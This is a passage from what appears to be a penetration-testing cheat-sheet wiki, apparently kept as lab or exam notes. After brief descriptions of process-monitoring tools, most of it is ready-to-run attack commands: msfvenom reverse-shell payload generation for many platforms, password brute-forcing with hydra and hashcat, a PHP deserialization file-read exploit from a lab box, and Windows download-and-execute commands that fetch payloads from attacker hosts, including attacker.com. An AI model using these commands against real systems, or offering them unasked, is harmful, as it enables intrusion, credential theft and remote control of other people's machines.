[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Real-time monitoring of active processes, threads, and modules.&lt;br /&gt;
&lt;br /&gt;
* Hierarchical view of processes, showing parent-child relationships.&lt;br /&gt;
&lt;br /&gt;
* Detailed information about process properties, memory usage, and CPU utilization.&lt;br /&gt;
&lt;br /&gt;
* Identification of the processes responsible for specific open handles or DLLs.&lt;br /&gt;
&lt;br /&gt;
* Capabilities to suspend, terminate, or explore processes.&lt;br /&gt;
&lt;br /&gt;
* Integration with VirusTotal to scan processes for malware.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.&lt;br /&gt;
&lt;br /&gt;
=== Process Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Detailed tracking of file system and registry operations, including reads, writes, and modifications.&lt;br /&gt;
&lt;br /&gt;
* Capturing of process and thread activity, including creation, termination, and interactions.&lt;br /&gt;
&lt;br /&gt;
* Filtering and searching capabilities to narrow down the captured data.&lt;br /&gt;
&lt;br /&gt;
* Advanced filtering to include/exclude specific processes, operations, or paths.&lt;br /&gt;
&lt;br /&gt;
* Ability to generate logs for analysis and troubleshooting.&lt;br /&gt;
&lt;br /&gt;
* Integration with other Sysinternals tools like Autoruns and TCPView.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.&lt;br /&gt;
&lt;br /&gt;
=== Process Hacker ===&lt;br /&gt;
&lt;br /&gt;
[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Focus:&#039;&#039;&#039; Process Hacker aims to provide an advanced task manager with detailed process information and control options.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Comprehensive process details, memory usage, and performance metrics.&lt;br /&gt;
&lt;br /&gt;
* Real-time graphs for system resource monitoring.&lt;br /&gt;
&lt;br /&gt;
* Advanced process management, including termination, suspension, and prioritization.&lt;br /&gt;
&lt;br /&gt;
* Tools for viewing and manipulating network connections and memory content.&lt;br /&gt;
&lt;br /&gt;
* Support for plugins to extend functionality.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Common Uses:&#039;&#039;&#039; In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Msfvenom commands ==&lt;br /&gt;
&lt;br /&gt;
=== What is exitfunc= in msfvenom ===&lt;br /&gt;
&lt;br /&gt;
Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:&lt;br /&gt;
&lt;br /&gt;
* none: do nothing and keep running&lt;br /&gt;
&lt;br /&gt;
* seh: use a special technique to exit without crashing&lt;br /&gt;
&lt;br /&gt;
* thread: stop the part of the program that runs the payload and leave the rest alone&lt;br /&gt;
&lt;br /&gt;
* process: kill the whole program that runs the payload&lt;br /&gt;
&lt;br /&gt;
The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.&lt;br /&gt;
&lt;br /&gt;
=== ASP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
=== hta ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.&lt;br /&gt;
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JSP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WAR ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
msfvenom -p php/reverse_php LHOST= LPORT= -f raw &amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
# Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
# UNIX CMD&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
# Fork a new process, xor encrypted&lt;br /&gt;
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== OSX ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
MSI&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi &amp;gt; rev_shell.msi&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd&lt;br /&gt;
Windows encoded payload&lt;br /&gt;
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b &#039;\x00&#039; -i 3 -f python&lt;br /&gt;
-e = encoding&lt;br /&gt;
-i = iteration (how many times to encode the payload)&lt;br /&gt;
-b = bad character&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Generating shellcode&lt;br /&gt;
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Fuzzers ==&lt;br /&gt;
&lt;br /&gt;
=== ffuf ===&lt;br /&gt;
&lt;br /&gt;
[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generic&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ&lt;br /&gt;
# File discovery using extensions&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html&lt;br /&gt;
# Vhost&lt;br /&gt;
ffuf -w subdomains.txt -u http://site.com/ -H &amp;quot;Host: FUZZ.site.com&amp;quot;&lt;br /&gt;
# Login forms generic&lt;br /&gt;
ffuf -w /wordlist -d &amp;quot;username=admin&amp;amp;password=FUZZ&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -u http://site.com/login&lt;br /&gt;
# POST bruteforce. -fs means filter out size 17.&lt;br /&gt;
ffuf -X POST -H &#039;Content-Type: application/json&#039; -d &#039;{&amp;quot;user&amp;quot;:&amp;quot;FUZZ&amp;quot;, &amp;quot;url&amp;quot;:&amp;quot;192.168.49.153/shell.elf&amp;quot;}&#039; -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wfuzz ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Password Cracking ==&lt;br /&gt;
&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
==== Mask attack ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ?l =&lt;br /&gt;
| abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
|-&lt;br /&gt;
| ?u&lt;br /&gt;
| ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
|-&lt;br /&gt;
| ?d&lt;br /&gt;
| 0123456789&lt;br /&gt;
|-&lt;br /&gt;
| ?h&lt;br /&gt;
| 0123456789abcdef&lt;br /&gt;
|-&lt;br /&gt;
| ?H&lt;br /&gt;
| 0123456789ABCDEF&lt;br /&gt;
|-&lt;br /&gt;
| ?s&lt;br /&gt;
| «space»!&amp;quot;#$%&amp;amp;&#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;br /&gt;
|-&lt;br /&gt;
| ?a&lt;br /&gt;
| ?l?u?d?s&lt;br /&gt;
|-&lt;br /&gt;
| ?b&lt;br /&gt;
| 0x00 - 0xff&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=mask_attack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example command&lt;br /&gt;
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 &amp;quot;C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*&amp;quot; -r &amp;quot;rules\best64.rule&amp;quot;&lt;br /&gt;
# Restore session&lt;br /&gt;
hashcat.exe --session session1 --restore&lt;br /&gt;
# Show cracked hashes&lt;br /&gt;
hashcat.exe hash2.hc22000 -m 22000 --show&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hydra ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&#039;&lt;br /&gt;
| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
=== John The Ripper ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1022&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
=== shell_exec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
# If RFI dosent execute script, try this&lt;br /&gt;
# Create exploit.php&lt;br /&gt;
# cat exploit.php&lt;br /&gt;
&lt;br /&gt;
# Execute&lt;br /&gt;
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deserialization attack ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat 192.168.153.158/web/dev/index.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (!isset($_POST[&#039;page&#039;])){&lt;br /&gt;
        if (strpos(urldecode($_GET[&#039;page&#039;]),&#039;..&#039;)!==false){&lt;br /&gt;
                include(&#039;/var/www/dev/lfi-prev.html&#039;);&lt;br /&gt;
                }&lt;br /&gt;
        else{&lt;br /&gt;
                include(&#039;/var/www/dev/&#039;.$_GET[&#039;page&#039;]);&lt;br /&gt;
        }&lt;br /&gt;
        }&lt;br /&gt;
else{&lt;br /&gt;
        $f=$_POST[&#039;page&#039;];&lt;br /&gt;
        unserialize($f);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. &#039;-&amp;gt;&#039; is used in object scope to access methods and properties of an object.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat real_exploit.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$f = new Page;&lt;br /&gt;
$f-&amp;gt;file=&#039;/etc/passwd&#039;;&lt;br /&gt;
echo urlencode(serialize($f));&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# curl -XPOST -d &#039;page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D &#039; http://und3r_dev.deployer.off/index.php&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Transfering files ==&lt;br /&gt;
&lt;br /&gt;
=== A list of all commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
# Example - This will upload a shell to temp, and run execute it using cmd.exe&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.49.233/shell.exe&amp;quot; C:\windows\temp\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== tfpt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69&lt;br /&gt;
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install atftp&lt;br /&gt;
kali@kali:~$ sudo mkdir /tftp&lt;br /&gt;
kali@kali:~$ sudo chown nobody: /tftp&lt;br /&gt;
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp&lt;br /&gt;
# On target&lt;br /&gt;
tftp -i 10.11.0.4 put important.docx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Encrypted python3 http.server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create self signed cert&lt;br /&gt;
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 -c &amp;quot;import http.server, ssl;server_address=(&#039;0.0.0.0&#039;,443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile=&#039;localhost.pem&#039;,ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Evil-winrm ===&lt;br /&gt;
&lt;br /&gt;
